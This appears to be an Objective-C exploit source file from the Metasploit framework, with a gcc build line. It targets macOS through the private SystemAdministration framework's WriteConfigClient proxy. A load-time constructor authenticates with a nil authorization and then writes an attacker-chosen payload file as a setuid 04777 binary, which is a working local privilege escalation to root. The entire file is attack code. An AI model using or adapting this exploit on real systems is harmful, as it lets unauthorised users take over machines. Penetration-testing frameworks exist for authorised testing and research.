rapid7/metasploit-framework

// gcc -bundle exploit.m -arch x86_64 -o exploit.daplug -framework Cocoa

#include <dlfcn.h>
#include <objc/objc.h>
#include <objc/runtime.h>
#include <objc/message.h>
#include <Foundation/Foundation.h>

#define PRIV_FWK_BASE "/System/Library/PrivateFrameworks"
#define FWK_BASE "/System/Library/Frameworks"

void __attribute__ ((constructor)) test(void)
{
    void* p = dlopen(PRIV_FWK_BASE "/SystemAdministration.framework/SystemAdministration", RTLD_NOW);

    if (p != NULL)
    {
        id sharedClient = objc_msgSend(objc_lookUpClass("WriteConfigClient"), @selector(sharedClient));
        objc_msgSend(sharedClient, @selector(authenticateUsingAuthorizationSync:), nil);
        id tool = objc_msgSend(sharedClient, @selector(remoteProxy));

        NSString* inpath = [[[NSProcessInfo processInfo]environment]objectForKey:@"PAYLOAD_IN"];
        NSString* outpath = [[[NSProcessInfo processInfo]environment]objectForKey:@"PAYLOAD_OUT"];
        NSData* data = [NSData dataWithContentsOfFile:inpath];

        objc_msgSend(tool, @selector(createFileWithContents:path:attributes:),
                     data,
                     outpath,
                     @{ NSFilePosixPermissions : @04777 });
    }

    exit(1);
}